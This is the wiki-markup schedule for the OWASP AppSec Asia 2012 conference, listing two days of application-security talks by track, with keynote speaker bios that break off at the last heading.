NOTE: Conference is scheduled to change as required by the conference committee, check back for updates prior to the conference.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=2pt&amp;gt;&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; class=&amp;quot;FCK__ShowTableBorders&amp;quot; style=&amp;quot;width: 75%;&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;4&amp;quot; style=&amp;quot;background: none repeat scroll 0% 0% rgb(64, 88, 160); color: white;&amp;quot; | &amp;lt;font size=3pt&amp;gt;'''Conference Day 1 - Friday - April 13th''' &amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | ''(Time Allocated)'' &lt;br /&gt;
| style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | '''Track 1 - Detect''' &amp;lt;br&amp;gt; (Grand Ballroom 1 &amp;amp; 2)&lt;br /&gt;
| style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | '''Track 2 - Protect''' &amp;lt;br&amp;gt; (Grand Ballroom 3)&lt;br /&gt;
| style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(204, 255, 122);&amp;quot; | '''Track 3 - Leadership &amp;amp; OWASP''' &amp;lt;br&amp;gt; (Wharf &amp;amp; Bridge Rooms Level 1)&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''7:30 - 8:30 AM'' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | '''Conference Registration Open - Coffee &amp;amp; Tea Available '''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''8:30-8:40 AM'' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | '''Conference Opening - Appsec Asia 2012'''&lt;br /&gt;
Speakers: Conference Committee Chair - Mr Justin Derry&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''8:40-9:30 AM'' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | '''KeyNote: Presentation'''&lt;br /&gt;
Speaker: Alastair MacGibbon&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''9:30-9:40 AM'' &lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(246, 246, 246);&amp;quot; | Short Break - Conference Movement &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''9:40-10:30 AM'' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | '''KeyNote: Presentation'''&lt;br /&gt;
Speaker: Rafal Los&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''10:30-11:00 AM'' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 90%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | '''Break - Morning Tea - Provided for attendees in main EXPO &amp;amp; Conference Hall - Ground Level'''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''11:00-11:50 AM'' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: You can't filter the stupid!'''&lt;br /&gt;
&amp;amp;nbsp;Speakers: Charles Henderson &amp;amp; David Byrne&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Advanced Mobile Application Code Review Techniques'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Prashant Vema&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(204, 255, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Effective Software Development in a PCI-DSS Environment'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Bruce Ashton&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''11:50-12:00 PM'' &lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(246, 246, 246);&amp;quot; | Short Break - Conference Movement  &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''12:00-12:50 PM'' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Testing from the Cloud. Is the Sky Falling?'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Matt Tesauro&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Rethinking Web Application Architecture for Cloud'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Arshad Noor&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(204, 255, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: OWASP Project - Secure Coding Practices Quick Reference Guide'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Justin Clarke&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''12:50-1:30 PM''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 90%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | '''Break - Lunch - Provided for attendees in main Expo &amp;amp; Conference Hall - Ground Level'''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''1:30-2:20 PM''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Security Testing on Web Apps - How to protect yourself'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Magno Rodrigues&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Mobile Security on iOS and Andriod'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Mike Park (Trustwave)&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(204, 255, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: TBA'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: TBA&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''2:20-2:30 PM''&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(246, 246, 246);&amp;quot; | Short Break - Conference Movement &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''2:30-3:20 PM'' &lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Pen Testing Mobile Applications'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Frank Fan&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Application Security Logging &amp;amp; Monitoring, The Next Frontier'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Peter Freiberg&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(204, 255, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: OWASP Project - OpenSAMM (Governance)'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Pravir Chandra&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''3:30-4:00 PM''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 90%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | '''Break - Afternoon Tea - Provided for attendees in EXPO &amp;amp; Conference Hall - Ground Level'''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''4:00-4:50 PM''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Harder, Better, Faster, Stronger (SQLi)'''&lt;br /&gt;
&amp;amp;nbsp;Speakers: Luke Jahnke&amp;lt;br&amp;gt; &amp;amp; Louis Nyffenegger&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Securing the SSL Channel against Man-in-the-middle Attacks'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Tobias Gondrom&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(204, 255, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: The risks that Pen Tests don't find'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Gary Gaskell&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''4:50-5:00 PM''&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(246, 246, 246);&amp;quot; | Short Break - Conference Movement&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''5:00-5:30 PM''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | '''Panel Discussion - Application Security Trends in 2012'''&lt;br /&gt;
Panelists: TBA&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''5:30-6:30 PM''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | '''OWASP - Afternoon Networking Event - TBA'''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''6:30 - 10:00 PM''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | '''OWASP - Evening Networking Event - TBA'''&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; class=&amp;quot;FCK__ShowTableBorders&amp;quot; style=&amp;quot;width: 75%;&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;4&amp;quot; style=&amp;quot;background: none repeat scroll 0% 0% rgb(64, 88, 160); color: white;&amp;quot; | &amp;lt;font size=3pt&amp;gt;'''Conference Day 2 - Saturday- April 14th''' &amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | ''(Time Allocated)'' &lt;br /&gt;
| style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | '''Track 1 - Detect''' &amp;lt;br&amp;gt; (Grand Ballroom 1 &amp;amp; 2)&lt;br /&gt;
| style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | '''Track 2 - Protect''' &amp;lt;br&amp;gt; (Grand Ballroom 3)&lt;br /&gt;
| style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(204, 255, 122);&amp;quot; | '''Track 3 - Leadership &amp;amp; OWASP''' &amp;lt;br&amp;gt; (Wharf &amp;amp; Bridge Rooms Level 1)&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''7:30 - 8:30 AM'' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | '''Conference Registration Open - Coffee &amp;amp; Tea Available '''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''8:30-8:40 AM'' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | '''Conference Day 2 Update- Appsec Asia 2012'''&lt;br /&gt;
Speakers: Conference Committee Chair - Mr Justin Derry&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''8:40-9:30 AM'' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | '''KeyNote: Presentation'''&lt;br /&gt;
Speaker: Jeremiah Grossman&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''9:30-9:40 AM'' &lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(246, 246, 246);&amp;quot; | Short Break - Conference Movement &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''9:40-10:30 AM'' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | '''KeyNote: Presentation'''&lt;br /&gt;
Speaker: Dr Jason Smith&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''10:30-11:00 AM'' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 90%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | '''Break - Morning Tea - Provided for attendees in main EXPO &amp;amp; Conference Hall - Ground Level'''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''11:00-11:50 AM'' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Attacking Captcha for Fun and Profit'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Gursev Singh Kalra&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Password Less Authentication &amp;amp; Authorization &amp;amp; Payments'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Srikar Sagi&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(204, 255, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: OWASP Project - ZED Attack Proxy'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Simon Bennetts&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''11:50-12:00 PM'' &lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(246, 246, 246);&amp;quot; | Short Break - Conference Movement  &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''12:00-12:50 PM'' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: HTTP Fingerprinting - Next Generation'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Eldar Marcussen&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Web Crypto for the Developer who has better things to do.'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Adrian Hayes&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(204, 255, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Static Code Analysis &amp;amp; Governance'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Jonathan Carter&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''12:50-1:30 PM''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 90%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | '''Break - Lunch - Provided for attendees in main Expo &amp;amp; Conference Hall - Ground Level'''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''1:30-2:20 PM''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Shake Hooves with BeEF'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Christian Frichot&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Software Security Goes Mobile'''&lt;br /&gt;
&amp;amp;nbsp;Speakers: Jacob West &amp;amp; Matias Madou&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(204, 255, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Data Breaches - When Application Security Goes Wrong'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Mark Goudie&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''2:20-2:30 PM''&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(246, 246, 246);&amp;quot; | Short Break - Conference Movement &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''2:30-3:20 PM'' &lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: How MITM Proxy has been slaying SSL Dragons'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Jim Cheetham&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Breaking is Easy, Preventing is Hard'''&lt;br /&gt;
&amp;amp;nbsp;Speakers: Matias Madou &amp;amp; Jacob West&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(204, 255, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: OWASP Project - TBA'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: TBA&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''3:20-3:30 PM''&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(246, 246, 246);&amp;quot; | Short Break - Conference Movement &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''3:30-4:20 PM''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Rise of the Planet of the Anonymous'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Errazudin Ishak&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: Anatomy of a Logic Flaw'''&lt;br /&gt;
&amp;amp;nbsp;Speakers: Charles Henderson &amp;amp; David Byrne&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(204, 255, 122);&amp;quot; | &amp;amp;nbsp;'''Presentation: OWASP Australia - Where, How, Why, When'''&lt;br /&gt;
&amp;amp;nbsp;Speaker: Justin Derry &amp;amp; Andrew Vanderstock&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''4:20-4:30 PM''&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(246, 246, 246);&amp;quot; | Short Break - Conference Movement&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''4:30-5:00 PM''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | '''OWASP Appsec Asia 2012 - Conference Wrap Up'''&lt;br /&gt;
Speakers: OWASP Board, OWASP Appsec Asia Conference Committee&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | &amp;amp;nbsp;''5:00-6:00 PM''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | '''OWASP Sponsor - Afternoon Networking Event - TBA'''&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Keynote Speakers=&lt;br /&gt;
&lt;br /&gt;
'''In alphabetical order:'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Alastair MacGibbon== &lt;br /&gt;
Alastair MacGibbon is an internationally-respected authority on cybercrime, including Internet fraud, consumer victimisation and a range of Internet security and safety issues.  He is the managing partner of Surete Group, a consultancy dealing with improved customer retention for Internet companies by increasing trust and reducing negative user experiences.  Prior to this for almost 5 years Alastair headed Trust &amp;amp; Safety at eBay Australia and later eBay Asia Pacific.  He was a Federal Agent with the Australian Federal Police for 15 years, his final assignment as the founding Director of the Australian High Tech Crime Centre.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Jacob West== &lt;br /&gt;
Jacob West is Director, Software Security Research for the Enterprise Security Products division of Hewlett-Packard. West is a world-recognized expert on software security and brings a technical understanding of the languages and frameworks used to build software together with extensive knowledge about how real-world systems fail. In 2007, he co-authored the book &amp;quot;Secure Programming with Static Analysis&amp;quot; with colleague and Fortify founder Brian Chess. Today, the book remains the only comprehensive guide to static analysis and how developers can use it to avoid the most prevalent and dangerous vulnerabilities in code. West is a frequent speaker at industry events, including RSA Conference, Black Hat, Defcon, OWASP, and many others. A graduate of the University of California, Berkeley, West holds dual-degrees in Computer Science and French and resides in San Francisco, California. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Dr. Jason Smith from CERT Australia==&lt;br /&gt;
